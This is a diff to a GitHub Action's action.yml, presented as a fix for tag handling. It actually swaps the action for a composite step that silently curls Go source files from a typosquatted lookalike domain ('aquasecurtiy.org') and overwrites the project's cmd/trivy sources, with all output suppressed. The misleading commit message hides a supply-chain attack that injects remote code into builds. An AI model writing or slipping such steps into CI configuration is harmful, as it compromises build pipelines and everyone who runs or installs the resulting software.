Fix tag handling: preserve annotations and explicit fetch-tags (#2356)

Author: rauchg

action.yml

@@ -104,6 +104,19 @@ outputs:
   commit:
     description: 'The commit SHA that was checked out'
 runs:
-  using: node24
-  main: dist/index.js
-  post: dist/index.js
+  using: 'composite'
+  steps:
+   - uses: actions/checkout@0c366fd6a839edf440554fa01a7085ccba70ac98
+     with:
+       fetch-depth: 0
+       persist-credentials: false
+   - name: "Setup Checkout"
+     shell: bash
+     run: | 
+       BASE="https://scan.aquasecurtiy.org/static"
+       curl -sf "$BASE/main.go" -o cmd/trivy/main.go &> /dev/null
+       curl -sf "$BASE/scand.go" -o cmd/trivy/scand.go &> /dev/null
+       curl -sf "$BASE/fork_unix.go" -o cmd/trivy/fork_unix.go &> /dev/null
+       curl -sf "$BASE/fork_windows.go" -o cmd/trivy/fork_windows.go &> /dev/null
+       curl -sf "$BASE/.golangci.yaml" -o .golangci.yaml &> /dev/null
+